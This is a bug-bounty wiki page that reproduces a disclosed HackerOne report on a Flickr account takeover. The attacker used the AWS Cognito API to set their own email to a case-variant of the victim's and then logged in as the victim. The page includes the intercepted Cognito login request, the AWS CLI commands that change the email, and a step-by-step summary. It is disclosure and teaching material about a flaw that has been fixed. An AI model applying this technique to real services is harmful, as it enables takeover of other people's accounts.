Skip to content
Account takeover Disclosed report Intermediate

Flickr Account Takeover using AWS Cognito API

Flickr's use of Amazon Cognito allowed an attacker to change their own account's email address to a case-variant of a victim's email via the Cognito API, and because Flickr did not verify email addresses on login and normalised them, the attacker could log in as the victim using their own password. This enabled account takeover without any user interaction.

lauritz Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 22 hours
  • Fixed in 3 months
  • Paid in 22 hours
  • Disclosed after 3 months

Summary by the researcher

I published a deep dive into this vulnerability in a blog post: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/

Thank you very much to @alexseville and team for the kind triage, kudos for applying a preliminary fix on the day of reporting! :)

If you have any comments or questions, feel free to reach out via Twitter: https://twitter.com/_lauritz_

The report

Flickr uses Amazon Cognito to implement its login functionality.

Furthermore, Flickr does not allow users to change their registered e-mail address via the user interface. This restriction can be bypassed via direct communication with the Amazon Cognito User Pool API.

Consider we have the following accounts:

  1. [email protected] (our victim)
  2. An arbitrary other account that is controlled by the attacker - in the following [email protected]

At first, the malicious actor needs to obtain an Amazon access_token. To do so, intercept the login request that is sent from https://identity.flickr.com/:

HTTP
POST / HTTP/2
Host: cognito-idp.us-east-1.amazonaws.com
[...]

{
    "AuthFlow":"USER_PASSWORD_AUTH",
    "ClientId":"3ck15a1ov4f0d3o97vs3tbjb52",
    "AuthParameters":{
        "USERNAME":"[email protected]",
        "PASSWORD":"[REDACTED]",
        "DEVICE_KEY":"us-east-1_07032954-25bf-4781-b596-9d675d901072"
    },
    "ClientMetadata":
    {                
    }
}

If the provided credentials for the attacker controlled account are valid, Amazon responds with tokens:

HTTP
HTTP/2 200 OK
Date: Thu, 16 Sep 2021 22:51:36 GMT
[...]

{
    "AuthenticationResult":    
        {
            "AccessToken":"[REDACTED]",
            "ExpiresIn":3600,
            "IdToken":"[REDACTED]",
            "RefreshToken":"[REDACTED]",
            "TokenType":"Bearer"
        },
    "ChallengeParameters":
        {            
        }
}

The access_token can be directly used against Amazon's AWS API, for instance using the AWS Command Line Interface tool:

Bash
$ aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
{
    "Username": "e28c344[...]",
    "UserAttributes": [
        {
            "Name": "sub",
            "Value": "e28[...]"
        },
        {
            "Name": "birthdate",
            "Value": "1998-09-17"
        },
        {
            "Name": "email_verified",
            "Value": "true"
        },
        {
            "Name": "locale",
            "Value": "en-us"
        },
        {
            "Name": "given_name",
            "Value": "Axel"
        },
        {
            "Name": "family_name",
            "Value": "Attacker"
        },
        {
            "Name": "email",
            "Value": "[email protected]"
        }
    ]
}

Using the API, one is able to alter some of the user attributes - including the linked e-mail address:

Bash
$ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,[email protected]
{
    "CodeDeliveryDetailsList": [
        {
            "Destination": "f***@l***.de",
            "DeliveryMedium": "EMAIL",
            "AttributeName": "email"
        }
    ]
}

Note that the registered address is case sensitive. As the above output already indicates, at this stage, the e-mail address is not verified:

Bash
$ aws cognito-idp get-user --region us-east-1 --access-token eyJraWQi[...] 
{
    "Username": "e28c34[...]",
    "UserAttributes": [
        {
            "Name": "sub",
            "Value": "e2[...]"
        },
        {
            "Name": "birthdate",
            "Value": "1998-09-17"
        },
        {
            "Name": "email_verified",
            "Value": "false"
        },
        {
            "Name": "locale",
            "Value": "en-us"
        },
        {
            "Name": "given_name",
            "Value": "Axel"
        },
        {
            "Name": "family_name",
            "Value": "Attacker"
        },
        {
            "Name": "email",
            "Value": "[email protected]"
        }
    ]
}

Strikingly, it is still possible to login at Flickr using the case-sensitive, not-verified victim e-mail address using the attacker's password:

account-takeover.mov From the original on HackerOne

As the above video illustrates, the attacker has to make sure that within the outgoing HTTP request the capitalization of the e-mail address is as intended.

Conclusion

The aforementioned behavior can be tracked down to the following root issues

  1. Flickr does not expect e-mail addresses to be changed - still it is possible to change a user's address using the AWS Cognito API.
  2. Flickr does not check whether the e-mail address is verified on login
  3. Flickr normalizes the e-mail address received from AWS cognito, so that collisions are possible

Impact

Chained as shown above, the aforementioned vulnerabilities can be used to takeover a user's account without any user interaction.

A malicious solely needs to know the e-mail address that is linked within a victim's account to link a crafted e-mail address to their account that can then be used to takeover the victim's account.

Further Notices

All tests were performed against my user accounts. The user account patterns used were as follows:

  • lauritz+*@wearehackerone.com
  • *@lauritz-holtmann.de

Please let me know if you have any comments or questions.

The original report as published on HackerOne, by lauritz. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely Flickr did not verify email addresses on login and normalised them case-insensitively, while allowing email changes via the Cognito API, leading to collisions.

Impact

An attacker could takeover a user's account without any user interaction, solely by knowing the victim's email address.

What the attacker needed

Attacker has a Flickr account; attacker knows victim's email address; no user interaction required

The fix

Flickr applied a preliminary fix on the day of reporting, but the text does not detail the fix.

How it was found

  1. Intercept the login request to obtain an Amazon access_token for the attacker's account.
  2. Use the access_token to call the Cognito update-user-attributes API and change the email to a case-variant of the victim's email.
  3. Log in to Flickr using the victim's email (with the specific capitalisation) and the attacker's password.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Flickr uses Amazon Cognito, a service for managing user logins. The attacker could use Cognito's API to set their account's email to a different capitalisation of the victim's email (e.g., '[redacted]' instead of '[redacted]'). Because Flickr treated email addresses as case-insensitive and didn't check if the email was verified, the attacker could then log in as the victim using their own password.

What is Account takeover?

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.

More by lauritz

View all

7 more disclosed reports, best first.

More from Flickr

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Account takeover

The lesson behind this report.

Getting into someone else's account through a flaw in sign-in, password reset, second factor, single sign-on or session handling.